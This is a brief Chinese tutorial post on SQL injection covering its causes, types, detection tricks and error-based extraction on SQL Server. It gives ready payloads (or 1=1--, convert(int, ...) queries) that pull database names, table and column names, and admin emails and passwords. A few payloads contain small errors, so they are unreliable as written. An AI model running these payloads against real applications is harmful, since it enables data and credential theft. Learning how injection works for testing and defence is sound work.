sql注入
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。
Sql注入
Sql注入成因:
1) 转义字符处理不当(如’,--,/**/,会截断原有的语句,执行新语句);
2) 类型处理不当(如接受的是整型的参数,并没有校验也可以接受字符型数据)
3) 查询语句的组装不当
4) 错误处理不当
5) 权限配置不当(可以执行高权限语句)
Sql注入类型:
从参数的角度:基于字符型和数字型的
基于错误的(基于响应时间的盲注,基于相应的注入)可以直观的看到我们查询结果的一类,看不到查询结果就是盲注
识别sql注入:
- 1. 永真和永假表达式: or 1=1—
- 2. 语句执行的报错信息:Having(聚合函数)若select字段没有包含在having里面,则会报错,证明注入成功
- 3. 特定数据的连接符:(根据不同数据库的连接符不相同)
i. Sqlsever(+连接)1’or ‘ab’=’a’+’b’—(永真)
ii. Mysql(空格连接)1’or ‘ab’=’a’’b’ (永真)
iii. 奥瑞考(||连接)1’or ‘ab’=’a’||’b’
基于错误的sql注入基本原理:
- 1. 判断;2.判断数据库
Sqlsever数据库中convert是一个进行类型转换的函数
1=convert(int,@@version)--
拆解库名:1=convert(int,db_name())--
得到当前用户名:1=convert(int,user_name())—
拆解表名:
1=convert(int,(select top 1 table_name from information_schema_tables))—
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次选中的表名,就可以得到第二个表名,以此类推
拆解列名:
1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—
1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—
得到字段数据:
1=convert(int,(select top 1 email_id from pp_admin_tb))—
得到字段数据;
1=convert(int,(select top 1 password from pp_admin_tb))—
Sqlmap项目源码:https://github.com/sqlmapproject/sqlmap
手册:https://github.com/sqlmapproject/sqlmap/wiki/Useage
以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章